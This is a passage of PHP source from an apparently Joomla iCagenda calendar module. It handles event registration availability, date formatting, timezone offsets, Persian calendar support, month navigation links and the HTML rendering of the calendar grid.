					$TicketsLeft	= ($dp_regInfos == 1 && $maxReg)
									? ($maxReg - $registered)
									: false;

					$canRegister	= (JHtml::date('Now', 'Y-m-d H:i:s', false) <= $regDeadlineDatetime)
									? true
									: false;


					// Registration for all dates, and no ticket left
					if ($typeReg == '2'
						&& $TicketsLeft <= 0)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration by date, and no ticket left
					elseif ($TicketsLeft <= 0)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT');
					}

					// Registration for all dates + Registration until START date + first date past.
					elseif ($typeReg == '2'
						&& ($reg_deadline != '2'
							&& ((iCDate::isDate($startDate_TZ) && $startDate_TZ < $datetime_today)
							|| (isset($allSingleDates_array[0]) && $allSingleDates_array[0] < $datetime_today))
							)
						)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration for all dates + Registration until END date + first date past.
					elseif ($typeReg == '2'
						&& ($reg_deadline == '2'
							&& ((iCDate::isDate($endDate_TZ) && $endDate_TZ < $datetime_today)
							|| (end($allSingleDates_array) < $datetime_today))
							)
						)
					{
						$date_sold_out	= JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// Registration by date, and registration deadline is over
					elseif ( ! $canRegister && $typeReg != '2')
					{
						$date_sold_out	= ($TicketsLeft <= 0 && $countEventDates > 1 && $past_dates < $countEventDates)
										? JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT')
										: JText::_('MOD_ICCALENDAR_REGISTRATION_CLOSED');
					}

					// @todo : test last change > can or cannot register ? (check if needed)
					elseif ($maxTickets
						&& $canRegister
						&& $typeReg != '2'
						)
					{
						$date_sold_out	= ($TicketsLeft <= 0)
										? JText::_('MOD_ICCALENDAR_REGISTRATION_DATE_NO_TICKETS_LEFT')
										: false;
					}

					else
					{
						$date_sold_out	= false;
					}

					$reg_infos = array(
						'registrations'	=> $registrations,
						'registered'	=> $registered,
						'maxTickets'	=> $maxTickets,
						'TicketsLeft'	=> $TicketsLeft,
						'date_sold_out'	=> $date_sold_out,
					);

					$event = array_merge($event, $reg_infos);

					foreach ($days as $k => $dy)
					{
						$d_date		= date('Y-m-d', strtotime($d));
						$dy_date	= date('Y-m-d', strtotime($dy['date']));

						if ($d_date == $dy_date && $linkid)
						{
							array_push ($days[$k]['events'], $event);
//							$days[$k]['events'][]= $event;
						}
					}
				}

				unset($d);
			}
		}

		return $days;

	}

	public static function getNbTicketsBooked($date, $event_registered, $event_id, $set_date_in_url, $typeReg)
	{
		$event_registered	= is_array($event_registered) ? $event_registered : array();
		$nb_registrations	= 0;

		foreach ($event_registered as &$reg)
		{
			$ex_reg = explode('@@', $reg); // eventid@@date@@period@@people

			if ((date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1]))
					|| (! iCDate::isDate($ex_reg[1]) && $ex_reg[2] == 1))
				&& $typeReg == 1
				&& $event_id == $ex_reg[0]
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

			elseif ( ! iCDate::isDate($date)
				&& $typeReg == 1
				&& $event_id == $ex_reg[0]
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

			elseif ($typeReg == 2)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

//			elseif ( ! $date || $date == 'period')
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
//			elseif (date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1])))
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
//			elseif ( ! $set_date_in_url && $ex_reg[1] == 'period' && $event_id == $ex_reg[0])
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
		}

		return $nb_registrations;
	}


	// Function to get Format Date (using option format, and translation)
	protected function formatDate($date, $tz = false)
	{
		// Date Format Option (Global Component Option)
		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$date_format_global	= ($date_format_global !== '0') ? $date_format_global : 'Y - m - d'; // Previous 3.5.6 setting

		// Date Format Option (Module Option)
		$date_format_module	= isset($this->format) ? $this->format : '';
		$date_format_module	= ($date_format_module !== '0') ? $date_format_module : ''; // Previous 3.5.6 setting

		// Set Date Format option to be used
		$format				= $date_format_module ? $date_format_module : $date_format_global;

		// Separator Option
		$separator			= isset($this->date_separator) ? $this->date_separator : ' ';

		if ( ! is_numeric($format))
		{
			// Update old Date Format options of versions before 2.1.7
			$format = str_replace(array('nosep', 'nosep', 'sepb', 'sepa'), '', $format);
			$format = str_replace('.', ' .', $format);
			$format = str_replace(',', ' ,', $format);
		}

		$dateFormatted = iCGlobalize::dateFormat($date, $format, $separator, $tz);

		return $dateFormatted;
	}


	// Function to get TimeZone offset
	function get_timezone_offset($remote_tz, $origin_tz = null)
	{
		if ($origin_tz === null)
		{
			if (!is_string($origin_tz = date_default_timezone_get()))
			{
				return false; // A UTC timestamp was returned -- bail out!
			}
		}

		$origin_dtz	= new DateTimeZone($origin_tz);
		$remote_dtz	= new DateTimeZone($remote_tz);
		$origin_dt	= new DateTime("now", $origin_dtz);
		$remote_dt	= new DateTime("now", $remote_dtz);
		$offset		= $origin_dtz->getOffset($origin_dt) - $remote_dtz->getOffset($remote_dt);

		return $offset;
	}

	function getNbOfDaysInMonth($date)
	{
		$lang = JFactory::getLanguage();

		// Get Nb of days in the month in Jalali/Persian calendar
		if ($lang->getTag() == 'fa-IR')
		{
			$date_to_persian	= $date;
			$persian_month		= date('m', strtotime($date_to_persian));
			$persian_year		= date('Y', strtotime($date_to_persian));
			$leap_year			= fa_IRDate::leap_persian($persian_year);

			if ($persian_month < 7)
			{
				$days = 31;
			}
			elseif ($persian_month == 12)
			{
				$days = $leap_year ? 30 : 29;
			}
			else
			{
				$days = 30;
			}
		}

		// Get Nb of days in the month in Gregorian calendar
		else
		{
			$days = date("t", strtotime($date));
		}

		return $days;
	}

	// Generate the days of the month
	function getDays($d, $f)
	{
		$lang = JFactory::getLanguage();
		$eventTimeZone = null;

		$days = self::getNbOfDaysInMonth($d);

		// Set Month and Year
		$ex_data	= explode('-', $d);
		$month		= $ex_data[1];
		$year		= $ex_data[0];
		$jour		= $ex_data[2];

		$list = array();

		//
		// Setting function of the visitor Time Zone
		//
		$today = time();

		$config			= JFactory::getConfig();
		$joomla_offset	= $config->get('offset');

		$displayDatesTimezone = '0'; // Option not active

		$opt_TimeZone = isset($this->setTodayTimezone) ? $this->setTodayTimezone : '';

		$gmt_today			= gmdate('Y-m-d H:i:s', $today);
		$today_timestamp	= strtotime($gmt_today);
		$GMT_timezone		= 'Etc/UTC';

		if ($opt_TimeZone == 'SITE')
		{
			// Joomla Server Time Zone
			$visitor_timezone	= $joomla_offset;
			$offset				= $this->get_timezone_offset($GMT_timezone, $visitor_timezone);
			$visitor_today		= JHtml::date(($today_timestamp+$offset), 'Y-m-d H:i:s', null);
			$UTCsite			= $offset / 3600;

			if ($UTCsite > 0) $UTCsite = '+'.$UTCsite;

			if ($displayDatesTimezone == '1')
			{
				echo '<small>' . JHtml::date('now', 'Y-m-d H:i:s', true) . ' UTC' . $UTCsite . '</small><br />';
			}
		}
		elseif ($opt_TimeZone == 'UTC')
		{
			// UTC Time Zone
			$offset			= 0;
			$visitor_today = JHtml::date(($today_timestamp+$offset), 'Y-m-d H:i:s', null);
			$UTC			= $offset / 3600;

			if ($UTC > 0) $UTC = '+'.$UTC;

			if ($displayDatesTimezone == '1')
			{
				echo '<small>' . gmdate('Y-m-d H:i:s', $today) . ' UTC' . $UTC . '</small><br />';
			}
		}
		else
		{
			$visitor_today = JHtml::date(($today_timestamp), 'Y-m-d H:i:s', null);
		}

		$date_today	= str_replace(' ', '-', $visitor_today);
		$date_today	= str_replace(':', '-', $date_today);
		$ex_data	= explode('-', $date_today);
		$v_month	= $ex_data[1];
		$v_year		= $ex_data[0];
		$v_day		= $ex_data[2];
		$v_hours	= $ex_data[3];
		$v_minutes	= $ex_data[4];

		for ($a = 1; $a <= $days; $a++)
		{
			$calday = $a;

			$this_date_a = $year . '-' . $month . '-' . $a;

			if ($lang->getTag() == 'fa-IR')
			{
				$this_date_cal = iCGlobalizeConvert::jalaliToGregorian($year, $month, $a, true);
			}
			else
			{
				$this_date_cal = $year . '-' . $month . '-' . $a;
			}

			if (($a == $v_day) && ($month == $v_month) && ($year == $v_year))
			{
				$classDay = 'style_Today';
			}
			else
			{
				$classDay = 'style_Day';
			}

			$datejour			= JHtml::date($this_date_cal, 'Y-m-d', $eventTimeZone);
			$this_year_month	= $year . '-' . $month . '-00';
			$list_a_date		= date('Y-m-d H:i', strtotime($this_date_a));

			// Set Date in tooltip header
			$date_to_format					= $this->formatDate($this_date_cal, false);
			$list[$calday]['dateTitle']		= $date_to_format;

//			$list[$calday]['datecal']		= JHtml::date($this_date_a, 'j', null);
//			$list[$calday]['monthcal']		= JHtml::date($this_date_a, 'm', null);
//			$list[$calday]['yearcal']		= JHtml::date($this_date_a, 'Y', null);

			$list[$calday]['date']			= date('Y-m-d H:i', strtotime($this_date_cal));

//			$list[$calday]['dateFormat']	= strftime($f, strtotime($this_date_a));
			$list[$calday]['week']			= date('N', strtotime($this_date_a));
			$list[$calday]['day']			= '<div class="' . $classDay . '">' . $a . '</div>';

			// Set cal_date
			$list[$calday]['this_day']		= date('Y-m-d', strtotime($this_date_a));

			// Added in 2.1.2 (change in NAME_day.php)
			$list[$calday]['ifToday']		= $classDay;
			$list[$calday]['Days']			= $a;

			// Set event array
			$list[$calday]['events']		= array();
		}

		return $list;
	}
	/***/


	/**
	 * Single Dates list for one event
	 */
	private function getDatelist($dates)
	{
		$dates  = iCString::isSerialized($dates) ? unserialize($dates) : array();
		$list   = array();

		foreach ($dates as &$d)
		{
			if (iCDate::isDate($d))
			{
//				array_push($list, date('Y-m-d H:i', strtotime($d)));
				$list[]= date('Y-m-d H:i', strtotime($d));
			}
		}

		return $list;
	}


	/** Systeme de navigation **/
	function getNav($date_start, $modid)
	{
		$app	= JFactory::getApplication();
		$isSef	= $app->getCfg( 'sef' );

		// Return Current URL
		$url	= JUri::getInstance()->toString() . '#tag';
		$url	= preg_replace('/&iccaldate=[^&]*/', '', $url);
		$url	= preg_replace('/\?iccaldate=[^\?]*/', '', $url);

		// Set Separator for Navigation Var
		$separator = strpos($url, '?') !== false ? '&amp;' : '?';

		// Remove fragment (hashtag could be added by a third party extension, eg. nonumber framework)
		$parsed_url	= parse_url($url);
		$fragment	= isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';

		$url	= str_replace($fragment, '', $url);

		// Return Current URL Filtered
		$url	= htmlspecialchars($url);

		// Start Date
		$ex_date	= explode('-', $date_start);
		$year		= $ex_date[0];
		$month		= $ex_date[1];
		$day		= 1;

		if ($month != 1)
		{
			$backMonth = $month-1;
			$backYear = $year;
		}
		elseif ($month == 1)
		{
			$backMonth = 12;
			$backYear = $year-1;
		}

		if ($month != 12)
		{
			$nextMonth = $month+1;
			$nextYear = $year;
		}
		elseif ($month == 12)
		{
			$nextMonth = 1;
			$nextYear = $year+1;
		}

		$backYYear = $year-1;
		$nextYYear = $year+1;

		// A11Y (experimental, since 3.5.14) : see https://www.w3.org/TR/2012/NOTE-WCAG20-TECHS-20120103/C7
		$icTitleAccess = 'height: 1px; width: 1px; position: absolute; overflow: hidden; top: -10px;';

		// Create Navigation Arrows
		$classBackYear	= 'backicY icagendabtn_' . $modid;
		$urlBackYear	= $url . $separator . 'iccaldate=' . $backYYear . '-' . $month . '-' . $day;
		$iconBackYear	= '<span class="iCicon iCicon-backicY"></span>';

		$backY	= '<a id="ic-prev-year" class="' . $classBackYear . '"'
				. ' href="' . $urlBackYear . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_PREVIOUS_YEAR') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_PREVIOUS_YEAR') . '</span>'
				. $iconBackYear
				. '</a>';

		$classBackMonth	= 'backic icagendabtn_' . $modid;
		$urlBackMonth	= $url . $separator . 'iccaldate=' . $backYear . '-' . $backMonth . '-' . $day;
		$iconBackMonth	= '<span class="iCicon iCicon-backic"></span>';

		$back	= '<a id="ic-prev-month" class="' . $classBackMonth . '"'
				. ' href="' . $urlBackMonth . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_PREVIOUS_MONTH') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_PREVIOUS_MONTH') . '</span>'
				. $iconBackMonth
				. '</a>';

		$classNextMonth	= 'nextic icagendabtn_' . $modid;
		$urlNextMonth	= $url . $separator . 'iccaldate=' . $nextYear . '-' . $nextMonth . '-' . $day;
		$iconNextMonth	= '<span class="iCicon iCicon-nextic"></span>';

		$next	= '<a id="ic-next-month" class="' . $classNextMonth . '"'
				. ' href="' . $urlNextMonth . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_NEXT_MONTH') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_NEXT_MONTH') . '</span>'
				. $iconNextMonth
				. '</a>';

		$classNextYear	= 'nexticY icagendabtn_' . $modid;
		$urlNextYear	= $url . $separator . 'iccaldate=' . $nextYYear . '-' . $month . '-' . $day;
		$iconNextYear	= '<span class="iCicon iCicon-nexticY"></span>';

		$nextY	= '<a id="ic-next-year" class="' . $classNextYear . '"'
				. ' href="' . $urlNextYear . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_NEXT_YEAR') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_NEXT_YEAR') . '</span>'
				. $iconNextYear
				. '</a>';

		if ( ! $this->month_nav) $back = $next = '';
		if ( ! $this->year_nav) $backY = $nextY = '';

		/** translate the month in the calendar module -- Leland Vandervort **/
		$dateFormat = date('Y-m-d', strtotime($date_start));

		// split out the month and year to obtain translation key for JText using joomla core translation
		$t_day		= strftime("%d", strtotime("$dateFormat"));
		$t_month	= date('F', strtotime($dateFormat));
		$t_year		= strftime("%Y", strtotime("$dateFormat"));

		$lang		= JFactory::getLanguage();
		$langTag	= $lang->getTag();

		$yearBeforeMonth = array('ar-AA', 'ja-JP', 'hu-HU', 'zh-CN', 'zh-TW');

		$monthBeforeYear = in_array($langTag, $yearBeforeMonth) ? 0 : 1;

		/**
		 * Get prefix, suffix and separator for month and year in calendar title
		 */

		// Separator Month/Year
		$separator_month_year = JText::_('SEPARATOR_MONTH_YEAR');
		if ($separator_month_year == 'CALENDAR_SEPARATOR_MONTH_YEAR_FACULTATIVE')
		{
			$separator_month_year = ' ';
		}
		elseif ($separator_month_year == 'NO_SEPARATOR')
		{
			$separator_month_year = '';
		}

		// Prefix Month (Facultative)
		$prefix_month = JText::_('PREFIX_MONTH');
		if ($prefix_month == 'CALENDAR_PREFIX_MONTH_FACULTATIVE')
		{
			$prefix_month = '';
		}

		// Suffix Month (Facultative)
		$suffix_month = JText::_('SUFFIX_MONTH');
		if ($suffix_month == 'CALENDAR_SUFFIX_MONTH_FACULTATIVE')
		{
			$suffix_month = '';
		}

		// Prefix Year (Facultative)
		$prefix_year = JText::_('PREFIX_YEAR');
		if ($prefix_year == 'CALENDAR_PREFIX_YEAR_FACULTATIVE')
		{
			$prefix_year = '';
		}

		// Suffix Year (Facultative)
		$suffix_year = JText::_('SUFFIX_YEAR');
		if ($suffix_year == 'CALENDAR_SUFFIX_YEAR_FACULTATIVE')
		{
			$suffix_year = '';
		}

		$SEP	= $separator_month_year;
		$PM		= $prefix_month;
		$SM		= $suffix_month;
		$PY		= $prefix_year;
		$SY		= $suffix_year;

		// Get MONTH_CAL string or if not translated, use MONTHS
		$array_months = array(
			'JANUARY', 'FEBRUARY', 'MARCH', 'APRIL', 'MAY', 'JUNE',
			'JULY', 'AUGUST', 'SEPTEMBER', 'OCTOBER', 'NOVEMBER', 'DECEMBER'
		);

		$cal_string			= $t_month . '_CAL';
		$missing_cal_string	= iCFilterOutput::stringToJText($cal_string);

		if ( in_array($missing_cal_string, $array_months) )
		{
			// if MONTHS_CAL strings not translated in current language, use MONTHS strings
			$month_J = JText::_( $t_month );
		}
		else
		{
			// Use MONTHS_CAL strings when translated in current language
			$month_J = JText::_( $t_month . '_CAL' );
		}

		// Set Calendar Title
		if ($monthBeforeYear == 0)
		{
			$title = $PY . $t_year . $SY . $SEP . $PM . $month_J . $SM;
		}
		else
		{
			$title = $PM . $month_J . $SM . $SEP . $PY . $t_year . $SY;
		}

		// Set Nav Bar for calendar
		$html = '<div class="icnav">' . $backY . $back . $nextY . $next;
		$html.= '<div class="titleic">' . $title . '</div>';
		$html.= '</div><div style="clear:both"></div>';

		return $html;
	}
}


class cal
{
	public $data;
	public $template;
	public $t_calendar;
	public $t_day;
	public $nav;
	public $fontcolor;
	private $header_text;

	function __construct ($data, $t_calendar, $t_day, $nav,
		$firstday, $columns_bg_color,
		$calfontcolor, $OneEventbgcolor, $Eventsbgcolor, $bgcolor, $bgimage, $bgimagerepeat,
		$moduleclass_sfx, $modid, $template, $ictip_ordering, $header_text)
	{
		$this->data				= $data;
		$this->t_calendar		= $t_calendar;
		$this->t_day			= $t_day;
		$this->nav				= $nav;
		$this->firstday			= $firstday;
		$this->calfontcolor		= $calfontcolor;
		$this->OneEventbgcolor	= $OneEventbgcolor;
		$this->Eventsbgcolor	= $Eventsbgcolor;
		$this->bgcolor			= $bgcolor;
		$this->bgimage			= $bgimage;
		$this->bgimagerepeat	= $bgimagerepeat;
		$this->moduleclass_sfx	= $moduleclass_sfx;
		$this->modid			= $modid;
		$this->template			= $template;
		$this->ictip_ordering	= $ictip_ordering;
		$this->header_text		= $header_text;

		// Columns Background colors
		$cbc					= $columns_bg_color;

		$this->weekdays = array('MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN');

		switch ($this->firstday)
		{
			case 0:
				$this->colbg	= array($cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6]);
				$this->day		= array(7, 1, 2, 3, 4, 5, 6);
				break;

			case 1:
				$this->colbg	= array($cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0]);
				$this->day		= array(1, 2, 3, 4, 5, 6, 7);
				break;

			case 2:
				$this->colbg	= array($cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1]);
				$this->day		= array(2, 3, 4, 5, 6, 7, 1);
				break;

			case 3:
				$this->colbg	= array($cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2]);
				$this->day		= array(3, 4, 5, 6, 7, 1, 2);
				break;

			case 4:
				$this->colbg	= array($cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3]);
				$this->day		= array(4, 5, 6, 7, 1, 2, 3);
				break;

			case 5:
				$this->colbg	= array($cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4]);
				$this->day		= array(5, 6, 7, 1, 2, 3, 4);
				break;

			case 6:
				$this->colbg	= array($cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5]);
				$this->day		= array(6, 7, 1, 2, 3, 4, 5);
				break;

			default:
				$this->colbg	= array($cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6]);
				$this->day		= array(7, 1, 2, 3, 4, 5, 6);
				break;
		}
	}


	function days()
	{
		$this_calfontcolor	= str_replace(' ', '', $this->calfontcolor);
		$calfontcolor		= ! empty($this_calfontcolor) ? ' color:' . $this->calfontcolor . ';' : '';
		$this_bgcolor		= str_replace(' ', '', $this->bgcolor);
		$bgcolor			= ! empty($this_bgcolor) ? ' background-color:' . $this->bgcolor . ';' : '';
		$this_bgimage		= str_replace(' ', '', $this->bgimage);
		$bgimage			= ! empty($this_bgimage) ? ' background-image:url(\'' . $this->bgimage . '\');' : '';
		$this_bgimagerepeat	= str_replace(' ', '', $this->bgimagerepeat);
		$bgimagerepeat		= ! empty($this_bgimagerepeat) ? ' background-repeat:' . $this->bgimagerepeat . ';' : '';
		$iCcal_style		= '';

		if ( ! empty($this_calfontcolor)
			|| ! empty($this_bgcolor)
			|| ! empty($this_bgimage)
			|| ! empty($this_bgimagerepeat) )
		{
			$iCcal_style.= 'style="';
		}

		$iCcal_style.= $calfontcolor . $bgcolor . $bgimage;
		$iCcal_style.= ($this_bgimagerepeat && $this_bgimage) ? $bgimagerepeat : '';
		$iCcal_style.= (empty($this_bgcolor) && empty($this_bgimage)) ? ' background-color: transparent; background-image: none;' : '';
		$iCcal_style.= '"';

		// Verify Hex color strings
		$OneEventbgcolor	= preg_match('/^#[a-f0-9]{6}$/i', $this->OneEventbgcolor) ? $this->OneEventbgcolor : '';
		$Eventsbgcolor		= preg_match('/^#[a-f0-9]{6}$/i', $this->Eventsbgcolor) ? $this->Eventsbgcolor : '';

		// Start HTML rendering of calendar
		$calendar = '';

		$calendar.= '<div class="' . $this->template . ' iccalendar ' . $this->moduleclass_sfx . '" ' . $iCcal_style . ' id="' . $this->modid . '">';


		$calendar.= '<div id="mod_iccalendar_' . $this->modid . '">
			<div class="icagenda_header">' . $this->header_text . '
			</div>' . $this->nav . '
			<table id="icagenda_calendar" class="ic-table" style="width:100%;">
				<thead>
					<tr>
						<th style="width:14.2857143%;background:' . $this->colbg[0] . ';">' . JText::_($this->weekdays[($this->day[0]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[1] . ';">' . JText::_($this->weekdays[($this->day[1]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[2] . ';">' . JText::_($this->weekdays[($this->day[2]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[3] . ';">' . JText::_($this->weekdays[($this->day[3]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[4] . ';">' . JText::_($this->weekdays[($this->day[4]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[5] . ';">' . JText::_($this->weekdays[($this->day[5]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[6] . ';">' . JText::_($this->weekdays[($this->day[6]-1)]) . '</th>
					</tr>
				</thead>
		';

		switch ($this->data[1]['week'])
		{
			case $this->day[0]:
				break;

			case $this->day[1]:
				$calendar.= '<tr><td colspan="1"></td>';
				break;

			case $this->day[2]:
				$calendar.= '<tr><td colspan="2"></td>';
				break;

			case $this->day[3]:
				$calendar.= '<tr><td colspan="3"></td>';
				break;

			case $this->day[4]:
				$calendar.= '<tr><td colspan="4"></td>';
				break;

			case $this->day[5]:
				$calendar.= '<tr><td colspan="5"></td>';
				break;

			case $this->day[6]:
				$calendar.= '<tr><td colspan="6"></td>';
				break;

			default:
				$calendar.= '<tr><td colspan="' . ($this->data[1]['week']-$this->firstday) . '"></td>';
				break;
		}

		foreach ($this->data as &$d)
		{
			$stamp = new day($d);

			switch($stamp->week)
			{
				case $this->day[0]:
					$calendar.= '<tr><td style="background:' . $this->colbg[0] . ';">';
					break;

				case $this->day[1]:
					$calendar.= '<td style="background:' . $this->colbg[1] . ';">';
					break;

				case $this->day[2]:
					$calendar.= '<td style="background:' . $this->colbg[2] . ';">';
					break;

				case $this->day[3]:
					$calendar.= '<td style="background:' . $this->colbg[3] . ';">';
					break;

				case $this->day[4]:
					$calendar.= '<td style="background:' . $this->colbg[4] . ';">';
					break;

				case $this->day[5]:
					$calendar.= '<td style="background:' . $this->colbg[5] . ';">';
					break;

				case $this->day[6]:
					$calendar.= '<td style="background:' . $this->colbg[6] . ';">';
					break;

				default:
					$calendar.= '<td>';
					break;
			}

			$count_events = count($stamp->events);

			if ($OneEventbgcolor
				&& $OneEventbgcolor != ' '
				&& $count_events == '1')
			{
				$bg_day = $OneEventbgcolor;
			}
			elseif ($Eventsbgcolor
				&& $Eventsbgcolor != ' '
				&& $count_events > '1')
			{
				$bg_day = $Eventsbgcolor;
			}
			else
			{
				$bg_day = isset($stamp->events[0]['cat_color']) ? $stamp->events[0]['cat_color'] : '#d4d4d4';
			}

			$bgcolor		= iCColor::getBrightness($bg_day);
			$bgcolor		= ($bgcolor == 'bright') ? 'ic-bright' : 'ic-dark';
			$order			= 'first';

			$multi_events	= isset($stamp->events[1]['cat_color']) ? 'icmulti' : '';

			// Ordering by time New Theme Packs (since 3.2.9)
			$events			= $stamp->events;

			// Option for Ordering is not yet finished. This developpement is in brainstorming...
//			$ictip_ordering = '1';
//			$ictip_ordering = $this->ictip_ordering;

//			if ($ictip_ordering == '1_ASC-1_ASC' || $ictip_ordering == '1_ASC-1_DESC') $ictip_ordering = '1_ASC';
//			if ($ictip_ordering == '2_ASC-2_ASC' || $ictip_ordering == '2_ASC-2_DESC') $ictip_ordering = '2_ASC';
//			if ($ictip_ordering == '1_DESC-1_ASC' || $ictip_ordering == '1_DESC-1_DESC') $ictip_ordering = '1_DESC';
//			if ($ictip_ordering == '2_DESC-2_ASC' || $ictip_ordering == '2_DESC-2_DESC') $ictip_ordering = '2_DESC';

			// Create Functions for Ordering
			// Default $newfunc_1_ASC_2_ASC - edited 2015-07-01 to fix ordering by Time when am/pm
			
			// @deprecated 3.6.14 (php 7.2 deprecated)
// 			$newfunc_1_ASC_2_ASC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($a["cat_title"], $b["cat_title"]); } else { return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"]))); }');

//			$newfunc_1_ASC_2_DESC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($b["cat_title"], $a["cat_title"]); } else { return strcasecmp($a["time"], $b["time"]); }');
//			$newfunc_1_DESC_2_ASC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($a["cat_title"], $b["cat_title"]); } else { return strcasecmp($b["time"], $a["time"]); }');
//			$newfunc_1_DESC_2_DESC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($b["cat_title"], $a["cat_title"]); } else { return strcasecmp($b["time"], $a["time"]); }');

//			$newfunc_2_ASC_1_ASC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($a["time"], $b["time"]); } else { return strcasecmp($a["cat_title"], $b["cat_title"]); }');
//			$newfunc_2_ASC_1_DESC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($b["time"], $a["time"]); } else { return strcasecmp($a["cat_title"], $b["cat_title"]); }');
//			$newfunc_2_DESC_1_ASC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($a["time"], $b["time"]); } else { return strcasecmp($b["cat_title"], $a["cat_title"]); }');
//			$newfunc_2_DESC_1_DESC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($b["time"], $a["time"]); } else { return strcasecmp($b["cat_title"], $a["cat_title"]); }');

//			$newfunc_1_ASC = create_function('$a, $b', 'return strcasecmp($a["time"], $b["time"]);');
//			$newfunc_2_ASC = create_function('$a, $b', 'return strcasecmp($a["cat_title"], $b["cat_title"]);');

//			$newfunc_1_DESC = create_function('$a, $b', 'return strcasecmp($b["time"], $a["time"]);');
//			$newfunc_2_DESC = create_function('$a, $b', 'return strcasecmp($b["cat_title"], $a["cat_title"]);');

			// Order by time - Old Theme Packs (before 3.2.9) : Update Theme Pack to get all options
//			usort($stamp->events, $newfunc_1_ASC_2_ASC);
			usort($stamp->events,
				function($a, $b)
				{
					if ($a["time"] == $b["time"])
					{
						return strcasecmp($a["cat_title"], $b["cat_title"]);
					}
					else
					{
						return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"])));
					}
				}
			);

			// Time ASC and if same time : Category Title ASC (default)
//			if ($ictip_ordering == '1_ASC-2_ASC')
//			{
//				usort($events, $newfunc_1_ASC_2_ASC);
				usort($events,
					function($a, $b)
					{
						if ($a["time"] == $b["time"])
						{
							return strcasecmp($a["cat_title"], $b["cat_title"]);
						}
						else
						{
							return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"])));
						}
					}
				);
//			}
			// Time ASC and if same time : Category Title DESC
//			elseif ($ictip_ordering == '1_ASC-2_DESC')
//			{
//				usort($events, $newfunc_1_ASC_2_DESC);
//			}
			// Time DESC and if same time : Category Title ASC
//			elseif ($ictip_ordering == '1_DESC-2_ASC')
//			{
//				usort($events, $newfunc_1_DESC_2_ASC);
//			}
			// Time DESC and if same time : Category Title DESC
//			elseif ($ictip_ordering == '1_DESC-2_DESC')
//			{
//				usort($events, $newfunc_1_DESC_2_DESC);
//			}

			// Category Title ASC and if same category : Time ASC
//			elseif ($ictip_ordering == '2_ASC-1_ASC')
//			{
//				usort($events, $newfunc_2_ASC_1_ASC);
//			}
			// Category Title ASC and if same category : Time DESC
//			elseif ($ictip_ordering == '2_ASC-1_DESC')
//			{
//				usort($events, $newfunc_2_ASC_1_DESC);
//			}
			// Category Title DESC and if same category : Time ASC
//			elseif ($ictip_ordering == '2_DESC-1_ASC')
//			{
//				usort($events, $newfunc_2_DESC_1_ASC);
//			}
			// Category Title DESC and if same category : Time DESC
//			elseif ($ictip_ordering == '2_DESC-1_DESC')
//			{
//				usort($events, $newfunc_2_DESC_1_DESC);
//			}

			// If main ordering and sub-ordering on Time : set TIME ASC (with no sub-ordering)
